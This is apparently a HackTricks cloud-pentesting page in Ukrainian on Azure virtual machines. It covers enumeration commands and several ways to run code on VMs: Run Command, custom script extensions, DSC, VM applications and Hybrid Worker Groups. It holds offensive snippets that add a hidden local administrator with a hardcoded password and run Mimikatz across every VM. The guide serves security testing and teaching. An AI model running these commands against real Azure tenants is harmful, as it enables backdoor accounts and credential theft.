Az - Virtual Machines & Network

Підтримайте HackTricks

Основна інформація

З документації: Віртуальні машини Azure - це один із кількох типів обчислювальних ресурсів на вимогу та масштабовані, які пропонує Azure. Зазвичай ви обираєте віртуальну машину, коли вам потрібно більше контролю над обчислювальним середовищем, ніж це пропонують інші варіанти. Ця стаття надає вам інформацію про те, що варто врахувати перед створенням віртуальної машини, як її створити та як нею керувати.

Інформація про мережу Azure

Мережі Azure містять різні сутності та способи конфігурації. Ви можете знайти короткі описи, приклади та команди переліку різних сутностей мережі Azure в:

Az - Azure Network

Azure Bastion

Azure Bastion пропонує безпечний, повністю керований доступ через SSL до RDP (Remote Desktop Protocol) та SSH (Secure Shell) через портал Azure. Він інтегрований у межах віртуальної мережі Azure, що дозволяє підключення RDP та SSH до ВМ за допомогою приватних IP-адрес, уникнення необхідності публічних IP-адрес. Це робить його безпечнішим та зручнішим альтернативним методом порівняно з традиційними методами, що включають призначення публічних IP-адрес та налаштування правил NSG для доступу до ВМ. Розробники та ІТ-персонал можуть безпечно отримувати доступ до ВМ з порталу Azure за допомогою веб-браузерів, що спрощує процес для середовищ розробки та тестування.

Для переліку всіх хостів Azure Bastion у вашій підписці ви можете використати наступну команду:

az network bastion list --query "[].{name:name, resourceGroup:resourceGrou, location:location}" -o table

Перелік віртуальних машин

# Get readable VMs
Get-AzVM | fl
# Lis running VMs
Get-AzureRmVM -status | where {$_.PowerState -EQ "VM running"} | select ResourceGroupName,Name
Get-AzVM -Name <name> -ResourceGroupName <res_group_name> | fl *
Get-AzVM -Name <name> -ResourceGroupName <res_group_name> | select -ExpandProperty NetworkProfile

# Get iface and IP address
Get-AzNetworkInterface -Name <interface_name>
Get-AzPublicIpAddress -Name <iface_public_ip_id>

#Get installed extensions
Get-AzVMExtension -ResourceGroupName <res_group_name> -VMName <name>

Get-AzVM | select -ExpandProperty NetworkProfile # Get name of network connector of VM
Get-AzNetworkInterface -Name <name> # Get info of network connector (like IP)

Виконання команд віртуальній машині

AAD Вхід в VM

Можливо дозволити доступ користувачам, які були автентифіковані через AzureAD. Наприклад, спробуйте отримати доступ до linux VM: ssh username@azure-corp.com@1.1.1.1 (важливо використовувати електронну пошту з azurecorp, яку використовували при спробі входу) можливо отримати помилку:

(username@azure-corp.com@1.1.1.1) This preview capability is not for production use. When you sign in, verify the name of the app on the sign-in screen is "Azure Linux VM Sign-in" and the IP address of the target VM is correct.

To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code DT4PNSTGR to authenticate. Press ENTER when ready.

Просто дотримуйтесь цих інструкцій, перейдіть за посиланням https://microsoft.com/devicelogin та вкажіть код, використовуйте електронну адресу та пароль як облікові дані, і ви зможете підключитися через SSH (якщо у цього користувача є достатньо дозволів для цього: роль Вхід адміністратора віртуальної машини або Вхід користувача віртуальної машини).

Виконати команду

# The permission allowing this is Microsoft.Compute/virtualMachines/runCommand/action
Invoke-AzVMRunCommand -ScriptPath .\adduser.ps1 -CommandId 'RunPowerShellScript' -VMName 'juastavm' -ResourceGroupName 'Research' –Verbose
## Another way
Invoke-AzureRmVMRunCommand -ScriptPath .\adduser.ps1 -CommandId 'RunPowerShellScript' -VMName 'juastavm' -ResourceGroupName 'Research' –Verbose

# Content of the script
$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
New-LocalUser -Name new_user -Password $passwd
Add-LocalGroupMember -Group Administrators -Member new_user
# Try to run in every machine
Import-module MicroBurst.psm1
Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt

Виконання розширення власного скрипта

Розширення віртуальних машин (VM) Azure - це невеликі додатки, які забезпечують конфігурацію після розгортання та автоматизацію завдань на VM Azure. Наприклад, якщо віртуальній машині потрібна установка програмного забезпечення, антивірусний захист або можливість виконання скрипта всередині неї, ви можете використовувати розширення VM.

Отже, якщо у вас є доступ для запису, ви можете виконати довільний код:

# Microsoft.Compute/virtualMachines/extensions/write
Set-AzVMExtension -ResourceGroupName "Research" -ExtensionName "ExecCmd" -VMName "infradminsrv" -Location "Germany West Central" -Publisher Microsoft.Compute -ExtensionType CustomScriptExtension -TypeHandlerVersion 1.8 -SettingString '{"commandToExecute":"powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add"}'

Бажаний стан конфігурації (DSC)

Бажаний стан конфігурації (DSC) - це інструмент PowerShell, схожий на Ansible, який використовується для налаштування хоста через код. DSC інтегрується з Azure, дозволяючи завантажувати конкретні файли конфігурації. Ці файли повинні відповідати строгому синтаксису. Зокрема, розширення DSC в Azure може виконувати команди з файлів, які відповідають певним критеріям форматування, навіть якщо синтаксис не відповідає стандартам DSC, як показано на наданій фігурі.

Виконання цих команд спрощується за допомогою функції Publish-AzVMDscConfiguration в Az PowerShell. Вимоги включають файл .PS1 з визначеною функцією та файл повинен бути запакований в архівний файл .zip. Навіть якщо синтаксис може бути некоректним для DSC, код все одно буде виконано. Однак розширення позначить статус виконання як "помилка", і вихідні дані з команди не будуть видимі через перезапис статусу повідомленням про помилку.

Визначення додатків VM

Визначення додатків VM дозволяють повторно розгортати версіоновані додатки на віртуальну машину Azure. Цей ресурс підтримує розгортання та оновлення додатків на віртуальних машинах. Для налаштування цього необхідно виконати кілька кроків, включаючи команди, такі як New-AzGalleryApplication та New-AzGalleryApplicationVersion в Az PowerShell.

Виконання додатків або команд через цей метод включає "VMAppExtension", який встановлюється автоматично, коли додаток застосовується до віртуальної машини. Розширення отримує файл з вказаного URI та називає його точно так само, як додаток, без розширення. Для правильного виконання файлу поле "ManageActions" у виклику REST API повинно бути налаштоване на перейменування файлу з відповідним розширенням. Після завершення налаштування цього методу структура буде схожа на показану на наданій фігурі.

Однак цей метод виконання є досить повільним, займаючи близько 3-4 хвилин для виконання додатка або команди. Файли, пов'язані з цим процесом, зберігаються в конкретних каталогах (C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.4\Downloads\ для копіювання додатка та C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.4\Status\ для статусу виконання).

Обидва методи надають унікальні способи виконання команд та розгортання додатків в середовищах Azure, кожен зі своїм набором вимог, кроків та врахувань.

Гібридні групи робочих станцій (HWGs) в Azure

Гібридні групи робочих станцій (HWGs) - це функція в Azure, яка дозволяє виконувати Runbooks, налаштовані в обліковому записі автоматизації, на віртуальній машині Azure, яка є частиною призначеної HWG. Це виконання спрощується за допомогою розширення, встановленого на віртуальній машині, яке розгортає код Runbook на віртуальну машину. Важливим аспектом цього процесу є те, що фактичні облікові дані не мають значення для виконання, оскільки код виконується з підвищеними привілеями, зокрема як SYSTEM або root, як показано на наданій фігурі.

Важливою деталлю для тих, хто використовує віртуальні машини з Windows 10, є необхідність вказати версію PowerShell для Runbook. Вона повинна бути встановлена для запуску як PowerShell версії 5.1 замість 7.1. Ця вимога випливає з того, що PowerShell 7.1 не встановлюється за замовчуванням на цих віртуальних машинах, що може призвести до невдачі у виконанні скрипта, якщо вказана версія 7.1.

Ця функція Azure пропонує надійний метод автоматизації та управління завданнями в гібридних середовищах, що дозволяє централізовано керувати та виконувати завдання на віртуальних машинах Azure.

Посилання

Підтримайте HackTricks

Last updated